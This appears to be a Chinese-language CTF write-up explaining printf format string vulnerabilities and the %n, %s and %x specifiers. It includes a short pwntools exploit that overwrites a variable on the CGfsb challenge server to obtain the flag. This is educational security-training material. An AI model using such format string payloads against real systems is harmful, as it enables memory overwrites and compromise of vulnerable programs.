格式化字符串漏洞原理及簡單利用(CGfsb題解)

先介紹一下格式化字符串漏洞,這種漏洞在實際中應該很少有了,但仍然需要了解這些基礎的漏洞知識。

會觸發該漏洞的函數很有限,主要就是printf、sprintf、fprintf等print家族函數,該題就是利用了printf的漏洞,下面以printf爲例進行介紹。

printf函數的使用方法爲:printf("format", 輸出表列),由於format部分可以有許多的佔位符及字母,所以接受的參數數量是不定的,而且對參數的處理是有順序的。

 下面介紹摘自https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/

在一開始,我們就給出格式化字符串的基本介紹,這裏再說一些比較細緻的內容。我們上面說,格式化字符串函數是根據格式化字符串函數來進行解析的。那麼相應的要被解析的參數的個數也自然是由這個格式化字符串所控制。比如說'%s'表明我們會輸出一個字符串參數。

我們再繼續以上面的爲例子進行介紹

基本例子

對於這樣的例子,在進入 printf 函數的之前 (即還沒有調用 printf),棧上的佈局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:這裏我們假設 3.14 上面的值爲某個未知的值。

在進入 printf 之後,函數首先獲取第一個參數,一個一個讀取其字符會遇到兩種情況

  • 當前字符不是 %,直接輸出到相應標準輸出。
  • 當前字符是 %, 繼續讀取下一個字符
    • 如果沒有字符,報錯
    • 如果下一個字符是 %, 輸出 %
    • 否則根據相應的字符,獲取相應的參數,對其進行解析並輸出

那麼假設,此時我們在編寫程序時候,寫成了下面的樣子

printf("Color %s, Number %d, Float %4.2f");

此時我們可以發現我們並沒有提供參數,那麼程序會如何運行呢?程序照樣會運行,會將棧上存儲格式化字符串地址上面的三個變量分別解析爲

  1. 解析其地址對應的字符串
  2. 解析其內容對應的整形值
  3. 解析其內容對應的浮點值

對於 2,3 來說倒還無妨,但是對於對於 1 來說,如果提供了一個不可訪問地址,比如 0,那麼程序就會因此而崩潰。

這基本就是格式化字符串漏洞的基本原理了。

漏洞發生機理
假設一個字符串str,一般來說,使用printf的時候,我們的用法是:printf("%s", str),但是有人是這樣用的printf(str),這種情況下我們還能輸出嗎?答案是可以,因爲printf函數的格式,str會被當做format參數,我們知道,使用printf的時候,format參數中的字符串是可以被輸出的,但是如果這串字符串中有基本的格式化字符串參數(%s, %n, %x, %p等,下面做個介紹),那麼這些內容就會被當做基本的格式化字符串參數來處理,這樣就出現了可利用的漏洞。

常用基本的格式化字符串參數介紹:

%c:輸出字符,配上%n可用於向指定地址寫數據。

%d:輸出十進制整數,配上%n可用於向指定地址寫數據。

%x:輸出16進制數據,如%i$x表示要泄漏偏移i處4字節長的16進制數據,%i$lx表示要泄漏偏移i處8字節長的16進制數據,32bit和64bit環境下一樣。

%p:輸出16進制數據,與%x基本一樣,只是附加了前綴0x,在32bit下輸出4字節,在64bit下輸出8字節,可通過輸出字節的長度來判斷目標環境是32bit還是64bit。

%s:輸出的內容是字符串,即將偏移處指針指向的字符串輸出,如%i$s表示輸出偏移i處地址所指向的字符串,在32bit和64bit環境下一樣,可用於讀取GOT表等信息。

%n:將%n之前printf已經打印的字符個數賦值給偏移處指針所指向的地址位置,如%100×10$n表示將0x64寫入偏移10處保存的指針所指向的地址(4字節),而%$hn表示寫入的地址空間爲2字節,%$hhn表示寫入的地址空間爲1字節,%$lln表示寫入的地址空間爲8字節,在32bit和64bit環境下一樣。有時,直接寫4字節會導致程序崩潰或等候時間過長,可以通過%$hn或%$hhn來適時調整。

%n是通過格式化字符串漏洞改變程序流程的關鍵方式,而其他格式化字符串參數可用於讀取信息或配合%n寫數據。

 下面通過一個例子——CGfsb來進行一下簡單的格式化字符串漏洞的利用。

對文件類型進行分析,發現是elf文件:

 放到ida中看一下僞代碼:

 發現得到flag的關鍵就是讓pwnme==8,這就要利用上面的printf函數了,這個printf函數正好存在我們所說的格式化字符串漏洞。

那麼我們下面要做的就是找到printf輸出的這個參數的地址了,也就是計算一下這個參數的偏移量。

ida找到要利用的printf函數的地址:0x080486CD

 然後gdb調試這個文件,在這個地址設置斷點,然後運行:

 現在查看寄存器中的地址和值:

可以數出偏移量爲10,所以這個參數的位置就是10了。

接下來用一個腳本,對這個漏洞進行利用:
 

from pwn import *

p = remote('111.198.29.45', 31559)
pwnme = 0x0804A068

payload1 = 'aaaa'
payload2 = p32(pwnme) + 'aaaa%10$n'

p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv())  #p.interactive()

可以看到輸出了flag:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章